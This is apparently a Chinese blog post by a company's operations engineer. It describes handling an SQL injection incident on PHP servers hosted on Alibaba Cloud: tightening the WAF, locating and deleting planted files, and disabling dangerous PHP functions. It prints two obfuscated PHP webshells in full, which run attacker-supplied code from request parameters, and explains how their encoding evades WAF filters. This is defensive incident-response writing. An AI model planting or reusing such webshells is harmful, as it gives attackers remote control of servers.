引言
一波未平, 一波又起. 金融公司的业务实在是太引人耳目, 何况我们公司的业处正处于风口之上 (区块链金融), 并且每天有大量现金交易, 所以不知道有多少黑客躲在暗处一直在盯着你的系统, 让你防不胜防, 并且想方设法的找到突破点, 以达到黑客的目的来获取非法利益.
俗话说:"道高一尺, 魔高一丈". 系统和代码也可以这么理解, 防的在好, 总有漏洞. 系统和代码也没有绝对的安全. 该来的总会来......
sql 注入与 "她" 相遇
某一天, 天气晴朗, 心情舒畅."她" 来了, 打破了笔者的美好时光. 下午 2 点多钟, 笔者和朋友在苏州街的天使汇二楼极客咖啡参加某个云厂商的 Kubernetes 一场技术沙龙, 正听得兴致勃勃的时候, 笔者的公司群里有个 php 开发突然帖出一张图:
这个时候, 群里翻腾了. 没错, 被 SQL 注入了, 数据库的表被注入了字段, 并且经检查后, 发现这个库中的大部分表都被注入了这个字段. 我的电脑没带在身边, 真是着急, 马上跟总监说明问题严重性. 由于我电脑不在身边, 只能把数据库账号授权 (读写权限) 给那个 php 开发, 让他检查所有的表, 把被注入的字段删除掉. 并查看数据和其它表有没有被修改. 好在发现急时, 数据和业务都没有被丢失和损坏.
这里我要说明一下, 我们的业务都在阿里云, 项目是以 php 为主, 并且开通了 waf 防火墙, 只是 waf 上的防护措施比较宽松. 笔者在安全方面的经验也比较欠缺, 好在开通了阿里云的 WAF, 让笔者在排查和防护上也变得轻松和快捷.
此时, 我已经在回家的路上, 回到家中迅速打开电脑.
调整 waf 策略
由于笔者也是刚接手工作, 阿里云上的很多策略还没得到及时调整. 所以才这么容易被攻进来. 即然被注入了, 肯定要源给揪出来. 我也在次把所有的表都检查一遍, 确认没问题后, 在去调整 waf 策略, 进入阿里云.
1, 进入相关域名的防护配置, 我们先来看下调整前的策略, 如下图:
从上图可以看出,"web 应用攻击防护" 策略是宽松模式, 其主要作用就是防护 SQL 注入, XSS 跨站等常见 Web 应用攻击, 宽松模式下对业务的误报程度最低, 但也容易漏过攻击."恶意 IP 惩罚" 也没启用. 这么宽松的防护措施风险比较大. 赶紧先调整吧.
2, 调整后的策略 (如有多个域名, 都调整过来), 如下图:
查找可疑文件
此时, php 的项目源码分布在好几台服务器上, 如果靠传统方式去排查, 挨个检查这些服务器的目录, 各种能用的命令都用上了, 是不是也挺费劲费时的, 还不知道要查到啥时候. 这个时候, 阿里有项服务起到关键的作用了 "态势感知", 这个需要升级为企业版本 (费用不高, 我们公司开通了一年, 费用 6000 多块). 这就是用阿里的好处 (不是打广告), 确实让你省心.
1, 进入 "态势感知" 查看一下, 就立马发现了一堆异常行为, 遍布在好几台服务器上如下图:
2, 点几个异常行为进入看看, 我就打开其中两个行为看一下, 其它的行为也都差不多, 如下图:
从命令行参数中可以看出相关目录有 / Mode/Lite/ , 并且给出的解决方案是及时排查可疑目录下的信息并及时清除. 笔者顺着给出的提示在服务器上进行 find 相关目录, 查找出目录所在路径, 如下图:
顺藤摸瓜吧, 列一下这个目录的文件:
从上图发现了有两个异常的 php 文件, 目录属主也和其它文件不一样, 笔者打开代码仓库也进入相同的目录进行比对, 代码仓库中确实没有这两个文件. 为了确认清楚, 把这两个文件 down 下来发给开发. 开发说项目中没有这两个文件. 把它 down 下来打开文件看看:
Content.class.php 文件内容:
- <?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
- }
这代码不就是被注入的表里的字段吗, 上面这段代码大概意思为: 把 post 请求的两个参数, 一个用 base64 解密, 一个用 hex2bin 转成 16 进制, 然后拼接在一起, 应该是把操作数据库的语句加密传过来, 然后解密, 这样就不会被拦截掉. 如果哪位博友认为解释的有误, 一定要提出来.
Lite.class.php 文件内容:
- <?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
- $page = $_REQUEST['error'];
- $limit = $_REQUEST['limit'];
- $func = base64_decode(str_rot13(strrev($limit)));
- $func(base64_decode(str_rot13(strrev($page))));
- exit;
上面的代码其实和之前的那段代码有共性, 反转字符串然后 ROT13 编码, 然后 base64 解码, 最后按照 PHP 代码来计算, 至于 base64_decode,str_rot13,strrev 是为了绕过 WAF 等安全设备的过滤.
已经很明显了, 就是由上面这些代码文件 Content.class.php 等文件给注入的. 不用想了: rm -rf 吧. 这个动态感知还是挺好用的, 能快速定位到风险目录, 让你减少排查的时间和精力.
为了保险起见, 继续排查一下其它的目录是否也存在可疑文件, 一定要排查干净了, 操作一定要小心, 也别误删, 果然在同级目录下又发现一个, 如下图:
还有一个, 如下图:
和代码仓库, 开发的对比, 可以确定这两个也是黑客传进来的可疑文件, 我有一个习惯, 删除文件之前喜欢备份到本地. 备份好这些可疑文件到本地之, 都彻底清除掉.
虽然都清除掉了, waf 防火墙也调整了, 但是也没有绝对的安全, 还需要把 php 这些危险的函数禁用掉, 比如禁用 phpinfo,exec(),system() 等:
phpinfo()
功能描述: 输出 PHP 环境信息以及相关的模块, WEB 环境等信息.
危险等级: 中
passthru()
功能描述: 允许执行一个外部程序并回显输出, 类似于 exec().
危险等级: 高
exec()
功能描述: 允许执行一个外部程序 (如 UNIX Shell 或 CMD 命令等).
危险等级: 高
system()
功能描述: 允许执行一个外部程序并回显输出, 类似于 passthru().
危险等级: 高
chroot()
功能描述: 可改变当前 PHP 进程的工作根目录, 仅当系统支持 CLI 模式
PHP 时才能工作, 且该函数不适用于 Windows 系统.
危险等级: 高
scandir()
功能描述: 列出指定路径中的文件和目录.
危险等级: 中
chgrp()
功能描述: 改变文件或目录所属的用户组.
危险等级: 高
chown()
功能描述: 改变文件或目录的所有者.
危险等级: 高
shell_exec()
功能描述: 通过 Shell 执行命令, 并将执行结果作为字符串返回.
危险等级: 高
proc_open()
功能描述: 执行一个命令并打开文件指针用于读取以及写入.
危险等级: 高
proc_get_status()
功能描述: 获取使用 proc_open() 所打开进程的信息.
危险等级: 高
ini_alter()
功能描述: 是 ini_set() 函数的一个别名函数, 功能与 ini_set() 相同.
具体参见 ini_set().
危险等级: 高
ini_set()
功能描述: 可用于修改, 设置 PHP 环境配置参数.
危险等级: 高
ini_restore()
功能描述: 可用于恢复 PHP 环境配置参数到其初始值.
危险等级: 高
dl()
功能描述: 在 PHP 进行运行过程当中 (而非启动时) 加载一个 PHP 外部模块.
危险等级: 高
pfsockopen()
功能描述: 建立一个 Internet 或 UNIX 域的 socket 持久连接.
危险等级: 高
symlink()
功能描述: 在 UNIX 系统中建立一个符号链接.
危险等级: 高
popen()
功能描述: 可通过 popen() 的参数传递一条命令, 并对 popen() 所打开的文件进行执行.
危险等级: 高
putenv()
功能描述: 用于在 PHP 运行时改变系统字符集环境. 在低于 5.2.6 版本的 PHP 中, 可利用该函数
修改系统字符集环境后, 利用 sendmail 指令发送特殊参数执行系统 SHELL 命令.
危险等级: 高
禁用方法如下:
打开 / etc/php.ini 文件, 查找到 disable_functions , 添加需禁用的函数名, 如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
趁着这次事件, 把其它服务器也一并排查一下吧, 需要点耐心慢慢排查, 黑客把这些可疑文件伪装的非常好, 绕过了 waf 墙, 人的肉眼不仔细看它都看不出来, 所以还是要自己细心一点干活.
需要声明一下: 每个人的做事方式都不一样, 本文只是把笔者遇到的事件分享给大家, 仅作为交流和学习.
名词解释
sql 注入:
所谓 SQL 注入, 就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的 SQL 命令. 具体来说, 它是利用现有应用程序, 将 (恶意的)SQL 命令注入到后台数据库引擎执行的能力, 它可以通过在 Web 表单中输入 (恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库, 而不是按照设计者意图去执行 SQL 语句. 比如先前的很多影视网站泄露 VIP 会员密码大多就是通过 WEB 表单递交查询字符暴出的, 这类表单特别容易受到 SQL 注入式攻击.
webshell:
webshell 就是以 asp,php,jsp 或者 cgi 等网页文件形式存在的一种命令执行环境, 也可以将其称做为一种网页后门. 黑客在入侵了一个网站后, 通常会将 asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起, 然后就可以使用浏览器来访问 asp 或者 php 后门, 得到一个命令执行环境, 以达到控制网站服务器的目的.
顾名思义,"web" 的含义是显然需要服务器开放 web 服务,"shell" 的含义是取得对服务器某种程度上操作权限. webshell 常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限. 由于 webshell 其大多是以动态脚本的形式出现, 也有人称之为网站的后门工具.
安全防范小结
归纳一下, 主要有以下几点:
1. 永远不要信任用户的输入. 对用户的输入进行校验, 可以通过正则表达式, 或限制长度; 对单引号和双 "-" 进行转换等.
2. 永远不要使用动态拼装 sql, 可以使用参数化的 sql 或者直接使用存储过程进行数据查询存取.
3. 永远不要使用管理员权限的数据库连接, 为每个应用使用单独的权限有限的数据库连接.
4. 不要把机密信息直接存放, 加密或者 hash 掉密码和敏感的信息.
5. 应用的异常信息应该给出尽可能少的提示, 最好使用自定义的错误信息对原始错误信息进行包装.
6.sql 注入的检测方法一般采取辅助软件或网站平台来检测, 软件一般采用 sql 注入检测工具 jsky, 网站平台就有亿思网站安全平台检测工具. MDCSOFT SCAN 等. 采用 MDCSOFT-IPS 可以有效的防御 SQL 注入, XSS 攻击等.
参考: https://baike.baidu.com/item/sql 注入 / 150289?fr=aladdin
参考: https://baike.baidu.com/item/webshell/966625?fr=aladdin
参考: https://yq.aliyun.com/ziliao/8531
参考: https://www.cnblogs.com/huaxiamingwang/archive/2012/02/22/2363849.html
来源: http://blog.51cto.com/ganbing/2108524